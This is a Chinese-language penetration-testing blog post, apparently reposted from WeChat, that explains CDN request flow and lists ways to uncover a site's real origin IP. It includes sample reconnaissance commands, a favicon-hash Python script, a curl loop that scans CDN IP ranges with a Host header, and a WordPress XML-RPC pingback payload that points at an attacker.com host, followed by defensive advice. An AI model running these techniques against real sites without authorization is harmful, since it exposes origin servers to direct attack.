随着网络安全意识的提升,越来越多的网站开始使用CDN来隐藏真实IP,增强安全性。但作为渗透测试人员,我们有时需要直接与源站交互。那么如何绕过CDN找到网站真实IP呢?
0x01 CDN工作原理简析
在讲解绕过技巧前,我们先简单回顾下CDN的工作机制:
-
用户请求:
-
用户输入网址,触发DNS查询 -
浏览器准备HTTP请求,建立TCP连接 -
发送HTTP/HTTPS请求
-
DNS解析到CDN节点:
-
本地DNS逐级查询直到权威服务器 -
获得CDN的CNAME记录 -
CDN的DNS服务器进行智能解析 -
返回最优CDN节点IP
-
CDN节点处理:
-
解析HTTP请求 -
检查多级缓存(内存、SSD、HDD) -
缓存命中则返回内容 -
缓存未命中触发回源: -
与源站建立连接 -
请求内容并接收响应 -
处理响应,决定是否缓存
-
-
准备响应给用户
-
内容呈现:
-
CDN节点发送HTTP响应 -
浏览器接收并处理响应 -
解析DOM,加载资源 -
渲染页面,执行脚本
安全切入点:
-
DNS阶段:寻找未保护子域名,分析历史记录 -
路由阶段:构造特殊请求绕过CDN -
缓存阶段:尝试缓存投毒,强制回源 -
回源阶段:HTTP请求走私,分析回源特征 -
响应阶段:识别CDN供应商,利用优化功能漏洞 -
客户端阶段:插入恶意代码,分析信息泄露
可以看到,CDN巧妙地隐藏了源站IP,增加了攻击难度。但天下无难事,只怕有心人。下面我们就来看看如何突破这层防护。
0x02 绕过技巧大揭秘
-
历史DNS记录挖掘
很多网站在迁移到CDN之前,A记录是直接指向源站IP的。我们可以借助一些在线工具来查询历史DNS记录:
-
SecurityTrails (https://securitytrails.com/) -
ViewDNS.info (https://viewdns.info/)
使用示例:
$ curl -s "https://securitytrails.com/domain/example.com/history/a"
-
子域名枚举+爆破
有时某些子域名可能疏忽大意,忘记配置CDN。我们可以通过子域名枚举来碰碰运气:
工具推荐:
-
Sublist3r -
Amass
使用示例:
$ python sublist3r.py -d example.com
$ amass enum -d example.com
得到子域名列表后,可以用httpx等工具批量探测,看是否有直接暴露IP的。
-
邮件头分析大法
如果目标的邮件服务器和web服务器同IP,那邮件头中可能包含真实IP信息。
可以尝试:
-
注册账号,使用密码重置功能 -
给不存在的邮箱发邮件,触发退信
分析示例:
Received: from mail.example.com (203.0.113.1) by ...
-
SSL证书情报收集
有时候SSL证书中会意外包含真实IP。可以使用这些工具搜索:
-
Censys (https://censys.io/) -
Shodan (https://www.shodan.io/)
-
文件引用分析
网站的静态资源(如js、css等)可能直接引用了源站IP。可以仔细检查网页源码,寻找类似:
<script src="http://203.0.113.1/main.js"></script>
-
Favicon哈希碰撞
网站图标的哈希值可以用来在Shodan等平台搜索相关IP。
使用Python脚本生成哈希:
import mmh3
import requests
import codecs
response = requests.get('https://example.com/favicon.ico')
favicon = codecs.encode(response.content, 'base64')
hash = mmh3.hash(favicon)
print(hash)
然后在Shodan搜索:
http.favicon.hash:123456789
-
敏感信息泄露
一些网站可能在某些页面不小心泄露了真实IP。可以尝试:
-
robots.txt -
sitemap.xml -
phpinfo页面 -
错误页面
-
CDN节点IP段扫描
这是一个比较暴力但有效的方法。步骤如下:
a) 确定目标使用的CDN提供商 b) 获取该CDN的IP段 c) 扫描IP段,结合Host头访问
示例脚本:
for ip in $(seq 1 254); do
curl -H "Host: example.com" http://104.16.0.$ip
done
-
利用XML-RPC
如果目标是WordPress站点,可以尝试利用XML-RPC:
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http://attacker.com/</string></value>
</param>
<param>
<value><string>http://target.com/?p=1</string></value>
</param>
</params>
</methodCall>
这可能触发目标服务器主动连接我们控制的服务器,暴露真实IP。
0x03 总结
以上就是一些常见的CDN绕过技巧。在实战中,往往需要组合多种方法才能见效。同时提醒大家,未经授权的测试可能违法,请谨慎行事。
最后,站在防守的角度,我们要:
-
确保所有子域名都配置了CDN -
不在源站直接对外提供服务 -
使用独立的邮件服务器 -
仔细检查网站代码,避免IP泄露 -
对源站进行适当加固
好了,今天的分享就到这里。如果你还有其他黑魔法,欢迎在评论区分享。我是v浪,我们下期再见!
原文始发于微信公众号(HW安全之路):CDN绕过系列 | 深度解析内容分发网络工作机制,揭秘黑客攻击思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论